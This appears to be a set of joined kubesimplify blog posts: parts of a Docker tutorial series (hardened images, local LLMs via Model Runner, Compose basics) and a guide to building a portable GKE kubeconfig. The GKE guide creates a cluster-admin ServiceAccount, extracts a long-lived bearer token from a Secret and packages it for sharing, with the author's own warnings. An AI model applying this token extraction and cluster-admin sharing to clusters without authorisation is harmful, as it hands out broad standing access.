Docker recognized that the base image problem is systemic. If every `nginx`, `node`, and `python` image ships with dozens of known vulnerabilities, every developer inherits those vulnerabilities whether they know it or not.

The answer is **Docker Hardened Images** - curated, continuously patched base images with up to 95% fewer CVEs than their standard counterparts. They are free, licensed under Apache 2.0, and available on Docker Hub. Same functionality, dramatically smaller attack surface.

Instead of pulling `nginx:alpine` with its 58 known vulnerabilities and hoping for the best, you pull the hardened equivalent and start from a clean baseline. Docker maintains these images with rapid CVE patching - when a vulnerability is disclosed, the hardened image is rebuilt and pushed within hours, not weeks.

**Docker Hardened Images (DHI)** are not just "fewer CVEs." They are architecturally different:

*   **Built from source** by Docker with verified provenance
    
*   **Signed releases** produced through a hardened build pipeline
    
*   **Rootless** - no root user, ever
    
*   **Distroless runtime** - stripped of shells, package managers, everything an attacker needs
    
*   **VEX attestations** - machine-readable statements about which CVEs actually affect the image at runtime
    
*   **7-day fix guarantee** - new CVE disclosed? Patched image pushed within 7 days
    
*   **Free and open source** under Apache 2.0. 1,000+ images available.
    

Here's why DHI matters for the Trivy/KICS attack pattern: those attacks worked because a valid publisher credential could push any tag. With DHI, images are built by Docker from source - the provenance and signatures must match the upstream source, or the image doesn't ship. The attack pattern structurally can't work against DHI.

> **What Nobody Tells You:** Most Docker tutorials teach you to pick a base image by size. "Use Alpine, it's small!" Size matters, but CVE count matters more. A 5 MB image with 3 critical vulnerabilities is worse than a 50 MB image with zero. Check `docker scout quickview` *before* you write your FROM line. Every time.

* * *

## Scout Policies and Attestations

Docker Scout isn't just `quickview` anymore. In 2026, it has a full policy engine:

*   **Configurable policies** - set severity thresholds, define what "compliant" means for your org
    
*   **Supply chain attestations policy** - flags images that lack SBOM or provenance attestations
    
*   **CI gate** - fail pipelines when policies are violated, not just when CVEs exist
    
*   **SBOM generation** - CycloneDX and SPDX formats, attached as attestations to your images
    

```yaml
# GitHub Actions - policy-based gate, not just CVE count
- name: Check Scout policies
  run: |
    docker scout policy myapp:${{ github.sha }} \
      --exit-code \
      --org my-org
```

This is a shift from "scan and hope" to "define policy, enforce automatically."

* * *

## Docker Sandboxes: Isolating AI Agents

If you're running AI coding agents (Claude Code, Codex, Copilot, Gemini CLI), Day 6's Model Runner gives them intelligence. But intelligence without guardrails is dangerous.

Docker Sandboxes run each agent session inside a dedicated **MicroVM** - not a container, an actual virtual machine with its own kernel and private Docker daemon. The agent can clone repos, run tests, build images, execute arbitrary code - all inside a disposable environment with no path back to your host.

```bash
brew install docker/tap/sbx
```

This is not "a container with extra flags." It's VM-grade isolation:

*   Each session gets its own kernel (hardware boundary, not just namespace boundary)
    
*   Private Docker daemon inside the MicroVM (no socket mounting, no host privileges)
    
*   File access, network policies, and secrets defined before the agent runs
    
*   Disposable by design - delete and start fresh in seconds
    

> **What Nobody Tells You:** An LLM deciding its own security boundaries is not a security model. If your agent's system prompt says "don't delete files" - that's a suggestion, not enforcement. The bounding box has to come from infrastructure, not from a prompt. That's what Sandboxes provide.

* * *

## Your 7-Day Journey

![](/img/blog/day-7-ship-it-and-what-comes-next/069660bc-4837-4ab3-b3f5-a9793d479b69.png align="center")

Let's look back at how far you have come.

[**Day 1: Containers are processes.**](https://blog.kubesimplify.com/day-1-what-actually-happens-when-you-type-docker-run) Not VMs. Not sandboxes. Linux processes restricted by namespaces (what they can see) and cgroups (what they can use). One kernel, many isolated process trees. This mental model underpins everything.

[**Day 2: Images are supply chain artifacts**](https://blog.kubesimplify.com/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken)**.** Layers, manifests, content-addressed digests. Tags are mutable pointers; digests are immutable truth. Your image is a graph of filesystem snapshots, and every dependency in that graph is a potential attack vector.

[**Day 3: Dockerfiles,** `docker init`**, and multi-stage builds.**](https://blog.kubesimplify.com/day-3-stop-writing-dockerfiles-from-scratch) You stopped writing Dockerfiles from scratch and started generating them. Multi-stage builds cut your image sizes by 10x by separating build dependencies from runtime.

[**Day 4: Breaking isolation on purpose**](https://blog.kubesimplify.com/day-4-breaking-isolation-on-purpose-volumes-networks-and-the-real-world)**.** Volumes break filesystem isolation (data survives containers). Networks break network isolation (containers talk by name via DNS). Port mapping breaks host isolation (the outside world reaches in). One coherent story about carefully poking holes in container isolation.

[Day 5: Docker Compose for real workflows](https://blog.kubesimplify.com/day-5-docker-compose-how-docker-actually-gets-used)**or real workflows****.** One YAML file, one command, an entire application stack. Services, networks, volumes, dependency ordering - all declarative, all version-controlled. Nobody types `docker run` with 15 flags in real life.

[Day 6: Docker + AI.](https://blog.kubesimplify.com/day-6-run-an-llm-on-your-laptop-with-docker)**er + AI.** You pulled an LLM from Docker Hub, ran it locally with Metal GPU acceleration, hit it with an OpenAI-compatible API, and built a real AI-powered Flask app with Compose. Docker Model Runner, Gordon, MCP Toolkit - Docker is now an AI development platform.

**Day 7: Production security.** Non-root users, read-only filesystems, resource limits, capability dropping, vulnerability scanning, hardened images. The difference between "it runs" and "it's safe to ship."

You went from `docker run hello-world` to hardened, scanned, resource-limited production containers in seven days. That is not trivial. That is a real foundation.

* * *

## **Where Docker Ends**

Docker builds containers. It does not run them at scale. And that is fine - it was never meant to.

Kubernetes is where containers go when they outgrow a single machine. Pod scheduling, auto-scaling, rolling deployments, service meshes, ingress controllers - that is K8s territory. Start with kind or minikube locally, then move to managed services (EKS, GKE, AKS). Everything you learned about images, Dockerfiles, and Compose translates directly. K8s runs the same OCI images you have been building all week.

For Kubernetes, it's easy, we have multiple courses

%[https://youtu.be/EV47Oxwet6Y?si=Hw69DkBc3MolinUy] 

Testcontainers is where Docker meets testing. Spin up real databases, message brokers, and services as throwaway containers inside your test suite. Your integration tests run against real infrastructure, not mocks. It uses Docker under the hood, so everything you know applies.

Apple Containers is Apple's take on container runtime - one lightweight VM per container instead of Docker's shared-VM model. Sub-second boot times, stronger isolation, written in Swift. It is interesting for macOS-native workflows, but Docker remains the standard for production and CI/CD.

> *What Nobody Tells You: Docker is not competing with Kubernetes. Docker builds. Kubernetes runs at scale. They are complementary tools, not alternatives. Every K8s cluster runs Docker-built images. Every CI/CD pipeline that feeds K8s uses Docker to build and scan. Learn both. In that order. Docker first - because you cannot orchestrate what you cannot build.*

* * *

## The Production Checklist

Before you ship any container, run through this:

```plaintext
[ ] Non-root USER in Dockerfile
[ ] --read-only filesystem + --tmpfs where needed
[ ] --memory and --cpus limits set
[ ] --cap-drop=ALL + selective --cap-add
[ ] --security-opt=no-new-privileges
[ ] docker scout quickview - zero critical, zero high
[ ] Hardened base image or patched base image
[ ] HEALTHCHECK in Dockerfile
[ ] Log rotation configured (--log-opt max-size, max-file)
[ ] Image tagged with git SHA, not just :latest
[ ] Secrets in mounted files or external vault - never in ENV or layers
```

If you cannot check every box, you are not ready to ship. Go back and fix it. The checklist is not optional - it is the minimum.

* * *

## Now Go Build Something

Seven days ago, you did not know what a container was. Today, you can build one that is hardened enough to face the internet.

That is a real skill. Not a certificate. Not a badge. A skill - the kind that shows up when you push to production at 2 AM and everything works because you built it right the first time.

Docker is not the destination. It is the foundation. Everything that comes next - Kubernetes, service meshes, GitOps, platform engineering - is built on top of what you learned this week.

Now go build something amazing. And when you do, build it in a container.

* * *

*This concludes the* ***7 Days of Docker (2026)*** *series. If you enjoyed learning in a new way, then do follow me on* [*X*](https://x.com/thesaloninarang) *and connect with me on* [*LinkedIn*](https://www.linkedin.com/in/saloninarang/)*.*

*Do share the articles and pointers you loved the most on socials and tag me.*

---

# Day 6: Run an LLM on Your Laptop - With Docker

- Canonical: https://blog.kubesimplify.com/day-6-run-an-llm-on-your-laptop-with-docker
- Published: 2026-04-30
- Summary: \"Pull AI models from Docker Hub, run them locally with GPU acceleration, and build an AI-powered app

> **7 Days of Docker (2026)** - A Docker Captain's guide. Not your average tutorial.

I'm a Docker Captain. And if you'd told me two years ago that I'd be pulling AI models from Docker Hub the same way I pull nginx, I would've laughed.

I'm not laughing anymore.

Docker shipped something called **Model Runner**. It lets you pull, run, and serve Large Language Models locally - no Python environment, no conda, no CUDA drivers, no dependency hell. One command. The model runs on your hardware with GPU acceleration. And it exposes an OpenAI-compatible API that any app can talk to.

Today we're going to pull a model, talk to it, build a real app that uses it, containerize that app, and deploy the whole thing with Compose. By the end of this post, you'll have a working AI-powered API running on your laptop. No cloud. No API keys. No monthly bill.

* * *

## Pull a Model Like You Pull an Image

```bash
docker model pull ai/smollm2
```

```console
Using cached model: 256.35 MiB
```

That's it. 256 megabytes. A small but capable language model, pulled from Docker Hub using the same infrastructure that serves container images. Same content-addressable storage, same caching.

Check what you have:

```bash
docker model list
```

```console
MODEL NAME  PARAMETERS  QUANTIZATION    ARCHITECTURE  MODEL ID      SIZE
smollm2     361.82 M    IQ2_XXS/Q4_K_M  llama         354bf30d0aa3  256.35 MiB
```

Look familiar? Same format as `docker images`. Model name, ID, size.

* * *

## Talk to It

```bash
docker model run ai/smollm2 "What is Kubernetes in one sentence?"
```

```console
Kubernetes is a container orchestration platform that automates the deployment,
scaling, and management of microservices-based applications.
```

That ran locally. On my Mac. With Metal GPU acceleration. No internet required after the initial pull.

Check the runner status:

```bash
docker model status
```

```console
Docker Model Runner is running
llama.cpp: running llama.cpp latest-metal e365e65
```

`latest-metal` means it's using Apple Silicon GPU acceleration via Metal. On Linux with NVIDIA, you'd see a CUDA tag. Docker picks the right backend automatically.

Model Runner supports multiple inference backends:

| Backend | Platform | Models |
| --- | --- | --- |
| **llama.cpp + Metal** | Mac (default) | GGUF models from Docker Hub (~340 tok/s) |
| **vllm-metal** | Mac (install required) | MLX models from Hugging Face (~275 tok/s) |
| **vLLM + CUDA** | Linux with NVIDIA GPU | Production inference |
| **Diffusers** | Linux/NVIDIA | Image generation (Stable Diffusion) |

### Want MLX models? Install vllm-metal

llama.cpp + Metal is the default and handles GGUF models from Docker Hub. But if you want to run MLX models - Apple's native ML framework, designed for Apple Silicon's unified memory architecture - you can install the vllm-metal backend:

```bash
docker model install-runner --backend vllm
```

```console
Installing vllm backend...
vllm backend installed successfully
```

Check the status - both backends now running:

```console
BACKEND    STATUS         DETAILS
llama.cpp  Running        llama.cpp latest-metal e365e65
vllm       Running        vllm-metal v0.1.0-20260320-122309
diffusers  Not Installed
mlx        Not Installed  package not installed
```

MLX models live on Hugging Face (not Docker Hub). Pull one:

```bash
docker model pull hf.co/mlx-community/Llama-3.2-1B-Instruct-4bit
```

The same API (`localhost:12434/v1/`) serves both backends - Docker routes to the right one based on model format.

> **Watch out:** You might see `docker model install-runner --backend mlx --gpu metal` suggested online or even by Gordon (Docker's AI assistant). On Docker Desktop, this fails with "Standalone installation not supported." The correct command is `--backend vllm`, which installs vllm-metal on Mac automatically. The `mlx` flag is for standalone Docker Engine only.

Here's the same question hitting both backends on my M2 - same API, same endpoint, different models:

Here's the same question hitting both backends on my M2 - same API, same endpoint:

```bash
# llama.cpp backend - SmolLM2 (362M params, GGUF from Docker Hub)
curl localhost:12434/v1/chat/completions \
  -d '{"model":"ai/smollm2", "messages":[{"role":"user","content":"What is a Docker container?"}]}'
```

```console
"A Docker container is a lightweight, isolated, and self-contained runtime
environment that encapsulates an application and its dependencies."
74 tokens
```

```bash
# vllm-metal backend - Llama 3.2 1B (1B params, MLX from Hugging Face)
curl localhost:12434/v1/chat/completions \
  -d '{"model":"hf.co/mlx-community/Llama-3.2-1B-Instruct-4bit", ...}'
```

```console
"A Docker container is a lightweight, fully virtualized, and managed package
that performs a consistent version of an application, allowing it to be easily
deployed, scaled, and managed across multiple hosts and environments."
84 tokens
```

Two different models, two different backends, one API. Your app code doesn't change when you switch.

> **What Nobody Tells You:** Model Runner doesn't run models inside containers. It runs them directly on your host hardware - Metal on Mac, CUDA on Linux. The llama.cpp process is a native binary on your host, not inside a container namespace. Why? Performance. LLMs need direct GPU access. Container isolation adds overhead. Docker's role here is distribution (pull from Hub) and API (OpenAI-compatible endpoint). The container is the app that CALLS the model, not the model itself.

* * *

## The API - This Changes Everything

Model Runner exposes an OpenAI-compatible API. Two endpoints depending on where you're calling from:

| Calling from... | URL |
| --- | --- |
| Your Mac (terminal, Python, VS Code) | `http://localhost:12434/v1/` |
| Inside a Docker container | `http://model-runner.docker.internal/v1/` |

This is important. `model-runner.docker.internal` is Docker's internal DNS - it only resolves from inside containers. From your Mac, use `localhost:12434`.

Try it:

```bash
curl http://localhost:12434/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "ai/smollm2",
    "messages": [{"role": "user", "content": "Explain Docker volumes in 2 sentences"}],
    "max_tokens": 60
  }'
```

```json
{
  "choices": [{
    "message": {
      "role": "assistant",
      "content": "A Docker volume is a data container that allows you to mount a file system onto other files or directories. It enables you to use volumes as a source or destination for files within your Docker container, improving the portability and extensibility of your applications."
    }
  }],
  "usage": {
    "prompt_tokens": 37,
    "completion_tokens": 51,
    "total_tokens": 88
  }
}
```

That's the standard OpenAI chat completions format. Switch `localhost:12434` to `api.openai.com`, add an API key, and the same request hits GPT-4. Your code doesn't care which backend it talks to. Local model for dev, cloud for prod. Same interface.

> **What Nobody Tells You:** If `curl` fails with "Could not resolve host: model-runner.docker.internal" - you're running it from your Mac, not from inside a container. Use `localhost:12434` from the host. This trips up everyone the first time.

* * *

## Build a Real AI App

Enough theory. Let's build an AI-powered API, containerize it, and serve it with Compose.

### The App (`app.py`)

```python
from flask import Flask, request, jsonify
from openai import OpenAI
import os

app = Flask(__name__)
client = OpenAI(
    base_url=os.environ.get("LLM_URL", "http://model-runner.docker.internal/v1/"),
    api_key="not-needed"
)

@app.route("/")
def home():
    return jsonify({"service": "AI Demo", "model": "smollm2"})

@app.route("/ask")
def ask():
    question = request.args.get("q", "What is Docker?")
    response = client.chat.completions.create(
        model="ai/smollm2",
        messages=[{"role": "user", "content": question}],
        max_tokens=100
    )
    return jsonify({
        "question": question,
        "answer": response.choices[0].message.content,
        "tokens": response.usage.total_tokens
    })

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)
```

Notice `base_url` reads from an environment variable. From inside a container, it'll use the Docker internal hostname. The `api_key` is "not-needed" because Model Runner doesn't require auth.

### The Dockerfile

```dockerfile
FROM python:3.12-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app.py .
EXPOSE 5000
CMD ["python", "app.py"]
```

### The requirements.txt

```plaintext
flask==3.1.1
openai==1.82.0
```

### compose.yaml

```yaml
services:
  ai-app:
    build: .
    ports:
      - "5002:5000"
    environment:
      - LLM_URL=http://model-runner.docker.internal/v1/
```

The `LLM_URL` environment variable tells the container to use the Docker-internal endpoint.

### Run It

```bash
docker compose up -d --build
```

```console
 Image d6-ai-app-ai-app Built
 Network d6-ai-app_default Created
 Container d6-ai-app-ai-app-1 Started
```

### Test It

```bash
curl http://localhost:5002/
```

```json
{"model": "smollm2", "service": "AI Demo"}
```

```bash
curl "http://localhost:5002/ask?q=What+is+a+container+in+one+sentence"
```

```json
{
  "answer": "A container is a lightweight package that runs applications and provides a controlled environment for the application's dependencies, allowing for easier deployment and scaling.",
  "question": "What is a container in one sentence",
  "tokens": 65
}
```

That's a containerized Flask app, calling a local LLM via Docker Model Runner, returning AI-generated answers. No cloud API. No API key. No monthly bill. Running on your laptop.

```bash
docker compose down
```

* * *

## What Else Is New - The Quick Version

Model Runner is the headline, but Docker shipped more AI tooling in 2026:

**Gordon (**`docker ai`**)** - Docker's built-in AI assistant. It reads your project - Dockerfiles, Compose files, running containers - and gives context-specific answers. Not generic ChatGPT. It sees your actual environment.

```bash
docker ai "Why is my container using so much memory?"
```

Note: If you have many MCP servers configured, Gordon may error with "too many tools." Disable unused MCP servers in Docker Desktop settings to fix it.

**MCP Toolkit (**`docker mcp`**)** - Model Context Protocol is a standard for connecting AI agents to tools. Docker runs MCP servers inside isolated containers with restricted permissions. Think of it as a security layer between AI agents and your system.

![](/img/blog/day-6-run-an-llm-on-your-laptop-with-docker/2d0d09ac-9628-4bb0-8597-805e0e3951ee.png align="center")

**Docker Scout** - Already covered in Day 2, but worth repeating: scan your AI app images too. AI dependencies (PyTorch, transformers, etc.) are massive and often carry CVEs.

**Docker Sandboxes -** Run AI agents inside dedicated MicroVMs with their own kernel and private Docker daemon. Not containers - actual VM-grade isolation. Each agent session gets a disposable environment where it can clone repos, run tests, and build images without any path back to your host. Works with Claude Code, Codex, Copilot, and others. Install with `brew install docker/tap/sbx`.

Docker's AI story in 2026 goes well beyond "run containers." It's Model Runner for local inference, Gordon for context-aware assistance, MCP for secure tool access, Sandboxes for agent isolation, and Scout for supply chain security. All shipping today.

* * *

## The Big Picture

![](/img/blog/day-6-run-an-llm-on-your-laptop-with-docker/45c6e62f-1735-42e9-979b-27d869837c05.png align="center")

Docker in 2026 is two things:

1.  **A container platform** (Days 1-5) - build, ship, run applications
    
2.  **An AI development platform** (Day 6) - pull models, run local inference, build AI apps
    

The second part is new. And it's growing fast. Docker Hub already hosts Llama, Mistral, Phi, Gemma, SmolLM, and others in GGUF format with various quantization levels.

The OpenAI-compatible API is the killer feature. Write your app against the OpenAI interface. During development, point it at `localhost:12434` - free, fast, private. In production, swap to the real OpenAI API or any other compatible provider. Your code doesn't change.

![](/img/blog/day-6-run-an-llm-on-your-laptop-with-docker/9d025369-4a8f-45b5-8904-0e9f2c1ad8dd.png align="center")

* * *

## Quick Reference

| Command | What It Does |
| --- | --- |
| `docker model pull ai/smollm2` | Pull a model from Docker Hub |
| `docker model run ai/smollm2 "prompt"` | Chat with a model |
| `docker model list` | List downloaded models |
| `docker model status` | Check runner status and backend |
| `docker model rm ai/smollm2` | Remove a model |
| `docker ai "question"` | Ask Gordon (context-aware) |
| `docker mcp --version` | Check MCP Toolkit version |
| `curl localhost:12434/v1/models` | List models via API (from host) |
| `curl localhost:12434/v1/chat/completions` | Chat completions API (from host) |

* * *

## Tomorrow: Day 7

You just built an AI-powered app with Docker. From `docker model pull` to a working API in minutes.

Tomorrow is the finale. **Day 7: Ship It.** We take everything from the past 6 days and make it production-ready. Non-root users. Read-only filesystems. Resource limits. Security scanning. The checklist that separates side projects from production systems.

---

# A Kubeconfig for GKE That Doesn't Need gcloud

- Canonical: https://blog.kubesimplify.com/a-kubeconfig-for-gke-that-doesnt-need-gcloud
- Published: 2026-04-29

When you run `gcloud container clusters get-credentials`, the kubeconfig it writes looks innocent — until you hand it to a teammate and they hit:

```
error: exec plugin: invalid apiVersion "client.authentication.k8s.io/v1beta1"
```

…or the classic `gke-gcloud-auth-plugin: executable not found`.

That's because the generated kubeconfig doesn't actually contain a credential. It contains an `exec:` block that shells out to `gke-gcloud-auth-plugin`, which in turn calls `gcloud` to mint a fresh OAuth token on every kubectl call. If you look at the `users` section of a stock GKE kubeconfig, this is what's in there:

```yaml
users:
- name: gke_saiyam-project_us-east1-b_demo-test
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      command: gke-gcloud-auth-plugin
      installHint: Install gke-gcloud-auth-plugin for use with kubectl by following
        https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl#install_plugin
      interactiveMode: IfAvailable
      provideClusterInfo: true
```

No token. No cert. Just "run this plugin and ask it for auth." No gcloud on the machine, no access.

If you want a kubeconfig that *anyone* can use — a CI runner, a contractor's laptop, a script on a VM — you need to swap that exec-plugin auth for something self-contained. The cleanest answer: a Kubernetes ServiceAccount and a bearer token.


Here's the full flow, run end-to-end against a live GKE cluster.

## The mental model

Four pieces, in order:

1. **Identity** — a ServiceAccount in the cluster
2. **Permissions** — a (Cluster)RoleBinding attaching a role to that SA
3. **Credential** — a token the SA can present to the API server
4. **Portable config** — a kubeconfig file wrapping the token + cluster endpoint + CA cert

The API server validates the token itself. No Google, no gcloud, no OAuth round-trip.

## Step 1: Identity and permissions

```bash
kubectl create serviceaccount shared-access -n kube-system

kubectl create clusterrolebinding shared-access-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:shared-access
```

Output:

```
serviceaccount/shared-access created
clusterrolebinding.rbac.authorization.k8s.io/shared-access-binding created
```

Two things worth calling out:

- The SA lives in `kube-system` because it's a cluster-wide utility identity. The namespace doesn't restrict its access — RBAC does.
- `cluster-admin` is `*` on `*`. Scope it down in production. `view`, `edit`, or a custom ClusterRole are usually what you actually want. If you only need namespace-scoped access, use a `RoleBinding` in that namespace instead of a `ClusterRoleBinding`.

## Step 2: Mint a long-lived token

Before Kubernetes 1.24, creating a ServiceAccount automatically created a companion Secret with a non-expiring token. That was removed — long-lived bearer tokens are a security footgun — so now you opt in explicitly:

```bash
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Secret
metadata:
  name: shared-access-token
  namespace: kube-system
  annotations:
    kubernetes.io/service-account.name: shared-access
type: kubernetes.io/service-account-token
EOF
```

Output:

```
secret/shared-access-token created
```

The magic is in two fields:

- **`type: kubernetes.io/service-account-token`** — tells the token controller (built into `kube-controller-manager`) "I'm a Secret you should populate."
- **`kubernetes.io/service-account.name` annotation** — tells it *which* ServiceAccount's identity to embed in the token.

Wait a couple of seconds, then inspect the Secret — the controller has filled in the data for you:

```bash
kubectl get secret shared-access-token -n kube-system -o yaml
```

```yaml
apiVersion: v1
data:
  ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMVENDQXBXZ0F3SUJB...
  namespace: a3ViZS1zeXN0ZW0=
  token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklrWnNZMkk0VFRkWmFrVjN...
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: shared-access
    kubernetes.io/service-account.uid: 9e8d4bdb-46ea-4893-9306-d56bea6aa304
  name: shared-access-token
  namespace: kube-system
type: kubernetes.io/service-account-token
```

Three fields got populated by the controller:

- `.data.token` — a signed JWT, the actual bearer credential
- `.data.ca.crt` — the cluster's CA certificate (so your client can trust the API server's TLS)
- `.data.namespace` — the SA's namespace

> If you'd rather have a short-lived token, skip the Secret and run `kubectl create token shared-access -n kube-system --duration=24h`. Good for automation that rotates. Bad for a "hand someone a file" use case, which is what we're doing here.

## Step 3: Extract the three things a kubeconfig needs

```bash
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl get secret shared-access-token -n kube-system -o jsonpath='{.data.ca\.crt}')
TOKEN=$(kubectl get secret shared-access-token -n kube-system -o jsonpath='{.data.token}' | base64 -d)

echo "SERVER = ${SERVER}"
echo "CA     = ${CA:0:60}..."
echo "TOKEN  = ${TOKEN:0:40}..."
```

Output:

```
SERVER = https://35.196.129.174
CA     = LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0WERQWERk1JSUVMVENDQXBXZ0F3SUJB...
TOKEN  = eyJhbGciOiJSUzIsImtpZCI6IkZsY2I4TTdZ...
```

- `SERVER` — the GKE API endpoint, pulled straight from your current context
- `CA` — already base64, drops straight into the kubeconfig as-is
- `TOKEN` — we decode it because kubeconfig wants the raw JWT string, not base64

## Step 4: Assemble the kubeconfig

```bash
cat > /tmp/shared-kubeconfig.yaml <<EOF
apiVersion: v1
kind: Config
clusters:
- name: cluster-1
  cluster:
    server: ${SERVER}
    certificate-authority-data: ${CA}
contexts:
- name: cluster-1
  context:
    cluster: cluster-1
    user: shared-access
current-context: cluster-1
users:
- name: shared-access
  user:
    token: ${TOKEN}
EOF
```

A kubeconfig is three independent lists — `clusters`, `users`, `contexts` — glued together by a `context` that names one cluster + one user. Nothing more.

Notice what's *not* in the `users` block: no `auth-provider`, no `exec`. kubectl has nothing to shell out to. It just sends `Authorization: Bearer <token>` on every request and the API server validates the JWT.

## Step 5: Prove it works without gcloud

```bash
KUBECONFIG=/tmp/shared-kubeconfig.yaml kubectl get nodes
KUBECONFIG=/tmp/shared-kubeconfig.yaml kubectl auth whoami
KUBECONFIG=/tmp/shared-kubeconfig.yaml kubectl auth can-i '*' '*' --all-namespaces
```

Output:

```
NAME                                       STATUS   ROLES    AGE   VERSION
gke-demo-test-default-pool-a5aaa3f4-jcnk   Ready    <none>   18h   v1.35.1-gke.1396002

ATTRIBUTE   VALUE
Username    system:serviceaccount:kube-system:shared-access
UID         9e8d4bdb-46ea-4893-9306-d56bea6aa304
Groups      [system:serviceaccounts system:serviceaccounts:kube-system system:authenticated]

yes
```

That's the whole proof. The API server sees `system:serviceaccount:kube-system:shared-access`, not your Google identity. You can put this file on a machine that has never seen `gcloud` in its life, and it works.

## Things to know before you ship this

**Private clusters still need network reachability.** The kubeconfig removes the auth dependency, not the network one. If your control plane is private, the recipient still needs VPN, authorized networks, or a public endpoint. The token won't help if they can't reach the API server.

**The kubeconfig is a credential.** Anyone with the file has whatever RBAC you bound. Store it like you'd store an SSH key or an API token. Don't commit it to Git.

**Revocation is deletion.** To kill access, delete the Secret:

```bash
kubectl delete secret shared-access-token -n kube-system
```

To kill it harder, also delete the binding and the SA. There's no "rotate" — you mint a new Secret and redistribute the new kubeconfig.

**Scope down.** `cluster-admin` is the demo default, not the production default. A `RoleBinding` to `edit` in a single namespace is usually closer to what a real sharing use case needs. `ClusterRoleBinding` + `cluster-admin` only when you truly mean it.

## Wrap

The trick isn't really about GKE — it's about understanding what a kubeconfig *is*. Once you see it as a glue file between a cluster endpoint and any credential the API server will accept, the exec-plugin auth stops feeling magical and the bearer-token swap becomes obvious.

Same approach works for EKS (where the plugin is `aws-iam-authenticator` / `aws eks get-token`), AKS (`kubelogin`), and anything else that ships exec-based auth. Replace the `user:` block, keep the `cluster:` block, and you've got a kubeconfig that travels.


![The swap: only the users: block changes](https://cloudmate-test.s3.us-east-1.amazonaws.com/res%2Fhashnode%2Fimage%2Fupload%2Fv1777443629837%2Fe68d717f-9820-48f2-af6c-55be0c211a90.png)

---

# Day 5: Docker Compose - How Docker Actually Gets Used

- Canonical: https://blog.kubesimplify.com/day-5-docker-compose-how-docker-actually-gets-used
- Published: 2026-04-28

> **7 Days of Docker in 2026** - From `docker run` Chaos to Declarative Stacks

Nobody types `docker run` with 15 flags in real life.

I’ve been learning and working with Docker for some time now. I’ve explored different setups, experimented a lot, and seen how teams actually use it beyond tutorials. And one thing becomes very clear: the moment you move past basic demos and into real development, you stop writing `docker run` commands by hand. You write a Compose file.

Everything you learned on Days 1 through 4 - images, Dockerfiles, volumes, container basics was preparation. Today is the day you learn how Docker actually gets used on real teams, in real codebases, every single day. Docker Compose takes all those individual concepts and wires them into one declarative file that anyone on your team can run with a single command.

![](/img/blog/day-5-docker-compose-how-docker-actually-gets-used/a5f7d48b-5fe5-478f-a915-f16b50c9f460.png align="center")

* * *

## Table of Contents

*   [1\. What Is Docker Compose?](#1-what-is-docker-compose)
    
*   [2\. The Compose File — Anatomy of a Stack](#2-the-compose-file--anatomy-of-a-stack)
    
*   [3\. Hands-On: Flask + Redis Visit Counter](#3-hands-on-flask--redis-visit-counter)
    
*   [4\. Essential Compose Commands](#4-essential-compose-commands)
    
*   [5\. 2026 Features You Should Know](#5-2026-features-you-should-know)
    
*   [6\. What Nobody Tells You](#6-what-nobody-tells-you)
    
*   [7\. Quick Reference](#7-quick-reference)
    
*   [Key Takeaways](#key-takeaways)
    
*   [What's Next: Day 6](#whats-next-day-6)
    

* * *

## 1\. What Is Docker Compose?

Docker Compose is a declarative tool for defining and running multi-container applications. You describe your entire stack - services, networks, volumes, environment variables - in a single YAML file. Then you run one command, and everything comes up.

Consider a Flask web app backed by Redis. Without Compose, your startup ritual looks like this:

```bash
docker network create myapp-net
docker volume create redis-data
docker run -d --name redis --network myapp-net -v redis-data:/data redis:alpine
docker build -t myapp-web .
docker run -d --name web --network myapp-net -p 5001:5000 -e REDIS_HOST=redis myapp-web
```

Five commands, a dozen flags. And you have not even added health checks, restart policies, or teardown instructions. Now imagine six services instead of two. Now imagine onboarding a new developer.

With Compose, all of that becomes:

```bash
docker compose up
```

One file. One command. Every developer on the team gets the exact same stack.

| Without Compose | With Compose |
| --- | --- |
| Scattered `docker run` flags | Single YAML file, version-controlled |
| Manual `docker network create` | Automatic — created for you |
| Manual `docker volume create` | Declared in the file, created automatically |
| You remember startup order | `depends_on` handles it |
| Teardown is 5+ commands | `docker compose down` removes everything |

> **Important:** Docker Compose is not a separate install anymore. Since Docker Desktop 4.x and the Compose plugin for Docker Engine, the command is `docker compose` (no hyphen). The old `docker-compose` binary is legacy. Use `docker compose` - always.

Let me verify we are on the same page:

```bash
docker compose version
```

```console
Docker Compose version v5.0.1
```

Good. Let's build something.

* * *

## 2\. The Compose File — Anatomy of a Stack

The Compose file is named `compose.yaml` (the older `docker-compose.yml` still works, but `compose.yaml` is the modern standard). Here is the file we will use for our hands-on exercise, fully annotated:

```yaml
services:            # Required: every container in your stack
  web:               # Service name — also becomes the DNS hostname
    build: .         # Build from the Dockerfile in the current directory
    ports:
      - "5001:5000"  # Map host port 5001 to container port 5000
    environment:
      - REDIS_HOST=redis
    depends_on:
      - redis        # Start redis before web

  redis:             # Second service — a Redis server
    image: redis:alpine     # Use a prebuilt image (no build needed)
    volumes:
      - redis-data:/data    # Persist Redis data to a named volume

volumes:             # Top-level: declares named volumes
  redis-data:        # Docker manages this volume's entire lifecycle
```

That is the entire definition for a two-service application with persistent storage. Let me break down the key sections.

`services` is the core of every Compose file. Each key (`web`, `redis`) becomes a running container. Critically, each service name also becomes a DNS hostname on the Compose network. When `web` connects to `redis:6379`Docker resolves that name automatically.

`build` tells Compose to build an image from a Dockerfile. A dot (`.`) means "use the Dockerfile in the current directory."

`image` tells Compose to pull a prebuilt image from a registry. A service uses `build`, `image`, or both.

`ports` maps host ports to container ports. Format: `"HOST:CONTAINER"`. Only expose what you need to access from outside Docker.

`volumes` at the service level, mounts storage into the container. At the top level, it declares named volumes that Docker manages and persists across restarts.

`depends_on` controls startup order. Redis starts before the web app. In production setups, you would pair this with `condition: service_healthy` a `healthcheck`, but for development, the simple form works fine.

